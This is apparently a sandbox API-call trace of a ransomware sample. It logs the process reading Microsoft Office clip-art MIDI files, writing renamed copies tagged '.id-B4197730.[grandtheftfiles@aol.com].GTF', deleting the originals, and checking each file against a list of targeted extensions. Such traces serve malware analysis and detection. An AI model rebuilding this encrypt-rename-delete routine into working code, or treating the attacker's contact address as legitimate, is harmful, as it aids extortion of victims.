	[0163.907] GetLastError () returned 0x0
	[0163.907] ReadFile (in: hFile=0x534, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x1c0a, lpOverlapped=0x0) returned 1
	[0164.038] WriteFile (in: hFile=0x544, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1c10, lpOverlapped=0x0) returned 1
	[0164.092] ReadFile (in: hFile=0x534, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.092] WriteFile (in: hFile=0x544, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.092] SetEndOfFile (hFile=0x544) returned 1
	[0164.092] CloseHandle (hObject=0x544) returned 1
	[0164.092] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.092] SetEndOfFile (hFile=0x534) returned 1
	[0164.095] CloseHandle (hObject=0x534) returned 1
	[0164.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.096] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 1
	[0164.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0164.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0164.096] lstrlenW (lpString=".doc") returned 4
	[0164.096] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.096] lstrlenW (lpString=".docx") returned 5
	[0164.096] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.096] lstrlenW (lpString=".pdf") returned 4
	[0164.096] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.096] lstrlenW (lpString=".xls") returned 4
	[0164.096] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.096] lstrlenW (lpString=".xlsx") returned 5
	[0164.096] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.096] lstrlenW (lpString=".ppt") returned 4
	[0164.096] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0164.096] lstrlenW (lpString=".zip") returned 4
	[0164.096] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.097] lstrlenW (lpString=".rar") returned 4
	[0164.097] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.097] lstrlenW (lpString=".bz2") returned 4
	[0164.097] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.097] lstrlenW (lpString=".7z") returned 3
	[0164.097] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0164.097] lstrlenW (lpString=".dbf") returned 4
	[0164.097] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0164.097] lstrlenW (lpString=".1cd") returned 4
	[0164.097] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0164.097] lstrlenW (lpString=".jpg") returned 4
	[0164.097] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0164.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0164.097] lstrlenW (lpString=".doc") returned 4
	[0164.097] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.097] lstrlenW (lpString=".docx") returned 5
	[0164.097] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.097] lstrlenW (lpString=".pdf") returned 4
	[0164.097] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.097] lstrlenW (lpString=".xls") returned 4
	[0164.097] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.098] lstrlenW (lpString=".xlsx") returned 5
	[0164.098] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.098] lstrlenW (lpString=".ppt") returned 4
	[0164.098] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0164.099] lstrlenW (lpString=".zip") returned 4
	[0164.099] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.099] lstrlenW (lpString=".rar") returned 4
	[0164.099] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.099] lstrlenW (lpString=".bz2") returned 4
	[0164.099] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.099] lstrlenW (lpString=".7z") returned 3
	[0164.099] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0164.099] lstrlenW (lpString=".dbf") returned 4
	[0164.099] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0164.099] lstrlenW (lpString=".1cd") returned 4
	[0164.099] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0164.099] lstrlenW (lpString=".jpg") returned 4
	[0164.099] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.099] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0164.099] lstrlenW (lpString="PARNT_01.MID") returned 12
	[0164.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0164.481] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=6491) returned 1
	[0164.481] CloseHandle (hObject=0x538) returned 1
	[0164.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 0x220
	[0164.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0164.482] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.482] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0164.482] GetLastError () returned 0x0
	[0164.483] ReadFile (in: hFile=0x538, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x195b, lpOverlapped=0x0) returned 1
	[0164.589] WriteFile (in: hFile=0x45c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1960, lpOverlapped=0x0) returned 1
	[0164.590] ReadFile (in: hFile=0x538, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.590] WriteFile (in: hFile=0x45c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.590] SetEndOfFile (hFile=0x45c) returned 1
	[0164.613] CloseHandle (hObject=0x45c) returned 1
	[0164.616] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.616] SetEndOfFile (hFile=0x538) returned 1
	[0164.632] CloseHandle (hObject=0x538) returned 1
	[0164.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.684] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 1
	[0164.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0164.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0164.684] lstrlenW (lpString=".doc") returned 4
	[0164.684] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.685] lstrlenW (lpString=".docx") returned 5
	[0164.685] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.685] lstrlenW (lpString=".pdf") returned 4
	[0164.685] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.685] lstrlenW (lpString=".xls") returned 4
	[0164.685] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.685] lstrlenW (lpString=".xlsx") returned 5
	[0164.685] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.685] lstrlenW (lpString=".ppt") returned 4
	[0164.685] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0164.685] lstrlenW (lpString=".zip") returned 4
	[0164.685] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.685] lstrlenW (lpString=".rar") returned 4
	[0164.685] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.685] lstrlenW (lpString=".bz2") returned 4
	[0164.685] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.685] lstrlenW (lpString=".7z") returned 3
	[0164.685] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0164.685] lstrlenW (lpString=".dbf") returned 4
	[0164.685] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0164.685] lstrlenW (lpString=".1cd") returned 4
	[0164.685] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0164.685] lstrlenW (lpString=".jpg") returned 4
	[0164.685] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0164.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0164.685] lstrlenW (lpString=".doc") returned 4
	[0164.685] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.685] lstrlenW (lpString=".docx") returned 5
	[0164.686] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.686] lstrlenW (lpString=".pdf") returned 4
	[0164.686] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.686] lstrlenW (lpString=".xls") returned 4
	[0164.686] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.686] lstrlenW (lpString=".xlsx") returned 5
	[0164.686] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.686] lstrlenW (lpString=".ppt") returned 4
	[0164.686] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0164.686] lstrlenW (lpString=".zip") returned 4
	[0164.686] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.686] lstrlenW (lpString=".rar") returned 4
	[0164.686] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.686] lstrlenW (lpString=".bz2") returned 4
	[0164.686] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.686] lstrlenW (lpString=".7z") returned 3
	[0164.686] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0164.686] lstrlenW (lpString=".dbf") returned 4
	[0164.686] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0164.686] lstrlenW (lpString=".1cd") returned 4
	[0164.686] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68
	[0164.686] lstrlenW (lpString=".jpg") returned 4
	[0164.686] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.686] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0164.686] lstrlenW (lpString="SAFRI_01.MID") returned 12
	[0164.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0164.784] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=10122) returned 1
	[0164.784] CloseHandle (hObject=0x554) returned 1
	[0164.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 0x220
	[0164.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0164.785] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.785] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0164.786] GetLastError () returned 0x0
	[0164.786] ReadFile (in: hFile=0x554, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x278a, lpOverlapped=0x0) returned 1
	[0164.788] WriteFile (in: hFile=0x54c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2790, lpOverlapped=0x0) returned 1
	[0164.789] ReadFile (in: hFile=0x554, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.789] WriteFile (in: hFile=0x54c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.789] SetEndOfFile (hFile=0x54c) returned 1
	[0164.789] CloseHandle (hObject=0x54c) returned 1
	[0164.789] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.789] SetEndOfFile (hFile=0x554) returned 1
	[0164.792] CloseHandle (hObject=0x554) returned 1
	[0164.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.793] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 1
	[0164.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0164.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0164.793] lstrlenW (lpString=".doc") returned 4
	[0164.793] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.793] lstrlenW (lpString=".docx") returned 5
	[0164.793] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.793] lstrlenW (lpString=".pdf") returned 4
	[0164.793] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.793] lstrlenW (lpString=".xls") returned 4
	[0164.793] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.793] lstrlenW (lpString=".xlsx") returned 5
	[0164.793] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.793] lstrlenW (lpString=".ppt") returned 4
	[0164.793] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0164.793] lstrlenW (lpString=".zip") returned 4
	[0164.794] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.794] lstrlenW (lpString=".rar") returned 4
	[0164.794] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.794] lstrlenW (lpString=".bz2") returned 4
	[0164.794] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.794] lstrlenW (lpString=".7z") returned 3
	[0164.794] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0164.794] lstrlenW (lpString=".dbf") returned 4
	[0164.794] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0164.794] lstrlenW (lpString=".1cd") returned 4
	[0164.794] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0164.794] lstrlenW (lpString=".jpg") returned 4
	[0164.794] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0164.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0164.794] lstrlenW (lpString=".doc") returned 4
	[0164.794] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.794] lstrlenW (lpString=".docx") returned 5
	[0164.794] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.794] lstrlenW (lpString=".pdf") returned 4
	[0164.794] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.794] lstrlenW (lpString=".xls") returned 4
	[0164.794] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.794] lstrlenW (lpString=".xlsx") returned 5
	[0164.794] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.794] lstrlenW (lpString=".ppt") returned 4
	[0164.794] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0164.794] lstrlenW (lpString=".zip") returned 4
	[0164.794] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.795] lstrlenW (lpString=".rar") returned 4
	[0164.795] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.795] lstrlenW (lpString=".bz2") returned 4
	[0164.795] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.795] lstrlenW (lpString=".7z") returned 3
	[0164.795] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0164.795] lstrlenW (lpString=".dbf") returned 4
	[0164.795] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0164.795] lstrlenW (lpString=".1cd") returned 4
	[0164.795] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68
	[0164.795] lstrlenW (lpString=".jpg") returned 4
	[0164.795] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.795] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0164.795] lstrlenW (lpString="SCHOL_02.MID") returned 12
	[0164.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0164.796] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=5058) returned 1
	[0164.796] CloseHandle (hObject=0x554) returned 1
	[0164.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 0x220
	[0164.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0164.797] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.797] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
